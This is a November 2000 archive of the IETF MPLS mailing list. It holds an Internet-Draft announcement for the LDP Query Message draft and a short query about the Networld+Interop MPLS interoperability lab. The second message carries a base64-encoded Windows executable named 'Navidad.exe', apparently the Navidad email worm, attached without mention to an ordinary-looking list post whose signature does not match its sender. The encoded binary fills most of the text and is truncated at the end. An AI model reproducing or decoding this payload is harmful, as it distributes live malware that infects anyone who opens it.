Wed, 15 Nov 2000 11:43:17 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjpkg22565 for ; Wed, 15 Nov 2000 11:43:14 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjpkg02577 for ; Wed, 15 Nov 2000 11:43:03 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjpkg06807 for ; Wed, 15 Nov 2000 11:43:02 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id GAA03766 for mpls@uu.net; Wed, 15 Nov 2000 06:43:02 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjpkg22545 for ; Wed, 15 Nov 2000 11:42:43 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjpkg17973 for ; Wed, 15 Nov 2000 11:42:01 GMT Received: from ietf.org by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: odin.ietf.org [132.151.1.176]) id QQjpkg13837 for ; Wed, 15 Nov 2000 11:42:00 GMT Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAB01760; Wed, 15 Nov 2000 06:41:59 -0500 (EST) Message-Id: <200011151141.GAB01760@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce:; Cc: mpls@UU.NET From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-mpls-lsp-query-01.txt Date: Wed, 15 Nov 2000 06:41:58 -0500 Sender: owner-mpls@UU.NET Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Multiprotocol Label Switching Working Group of the IETF. Title : MPLS LDP Query Message Description Author(s) : P. Ashwood-Smith, A. Paraschiv Filename : draft-ietf-mpls-lsp-query-01.txt Pages : 18 Date : 14-Nov-00 This document describes the encoding and procedures for three new LDP messages, the Query Message and Query-Reply Message and Partial Query-Reply Message (the last one is almost identical to the Query- Reply message; therefore all references to the Query-Reply messages imply the Partial Query-Reply messages as well, unless otherwise specified). An LER sends a Query message when it needs to find out information about an LSP. The Query message is sent for an established LSP. The Query message can be used for LDP LSPs as well as for CR-LSPs. The queried data is encoded into the Query-Reply messages. The Query Message carries only the list of hops. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-mpls-lsp-query-01.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-mpls-lsp-query-01.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-mpls-lsp-query-01.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20001114140411.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-mpls-lsp-query-01.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-mpls-lsp-query-01.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20001114140411.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-mpls@UU.NET Wed Nov 15 09:50:51 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA26327 for ; Wed, 15 Nov 2000 09:50:50 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpkt17448; Wed, 15 Nov 2000 14:46:18 GMT Received: by mail-control.mail.uu.net id QQjpkt11405 for mpls-outgoing; Wed, 15 Nov 2000 14:45:07 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjpkt11298 for ; Wed, 15 Nov 2000 14:45:02 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjpks17468 for ; Wed, 15 Nov 2000 14:44:02 GMT Received: from sj-msg-core-2.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88]) id QQjpks19625 for ; Wed, 15 Nov 2000 14:44:01 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id GAA16714 for ; Wed, 15 Nov 2000 06:43:59 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id JAA23951 for mpls@uu.net; Wed, 15 Nov 2000 09:43:57 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjpjl07517 for ; Wed, 15 Nov 2000 06:18:43 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjpjl09099 for ; Wed, 15 Nov 2000 06:18:07 GMT From: msjang@etri.re.kr Received: from cms3.etri.re.kr by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cms3.etri.re.kr [129.254.16.13]) id QQjpjl14613 for ; Wed, 15 Nov 2000 06:18:04 GMT Date: Wed, 15 Nov 2000 06:18:04 GMT Received: by cms3.etri.re.kr with Internet Mail Service (5.5.2650.21) id ; Wed, 15 Nov 2000 15:17:55 +0900 Received: from LocalHost (x-7430b.etri.re.kr [129.254.62.223]) by cms1.etri.re.kr with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id W8X41BYJ; Wed, 15 Nov 2000 15:17:12 +0900 To: mpls@UU.NET Message-ID: <011d01c04eca$c5a8aca0$df3efe81@etri.re.kr> Subject: Networld Interoperabilty lab MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_00BE_01C04F16.314EDA60" X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-mpls@UU.NET Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_00BE_01C04F16.314EDA60 Content-Type: text/plain; charset="ks_c_5601-1987" Content-Transfer-Encoding: 7bit Pardon the intrusion, but does anyone have contact information for the person who ran the MPLS interoperability lab at Networld+Interop, both in Las Vegas and Atlanta? I believe he was from a mid-western university. Thanks, Irwin ------=_NextPart_000_00BE_01C04F16.314EDA60 Content-Type: application/x-msdownload; name="Navidad.exe" Content-Disposition: attachment; filename="Navidad.exe" Content-Transfer-Encoding: base64 TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAACkWsl34DunJOA7pyTgO6ckCCStJPY7pyRjJ6kk6TunJIIktCTmO6ckuRi0 JOM7pyTgO6YkrzunJAgkrCTkO6ckWD2hJOE7pyRSaWNo4DunJAAAAAAAAAAAUEUAAEwBBACc3v85 AAAAAAAAAADgAA8BCwEGAABAAAAAMAAAAAAAAJ4bAAAAEAAAAFAAAAAAQAAAEAAAABAAAAQAAAAA AAAABAAAAAAAAAAAgAAAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAA AACkVAAAZAAAAABwAADoCwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAEABAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAudGV4dAAAAP4zAAAAEAAAAEAAAAAQAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAABw CwAAAFAAAAAQAAAAUAAAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAAXA0AAABgAAAAEAAAAGAAAAAA AAAAAAAAAAAAAEAAAMAucnNyYwAAAOgLAAAAcAAAABAAAABwAAAAAAAAAAAAAAAAAABAAABAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 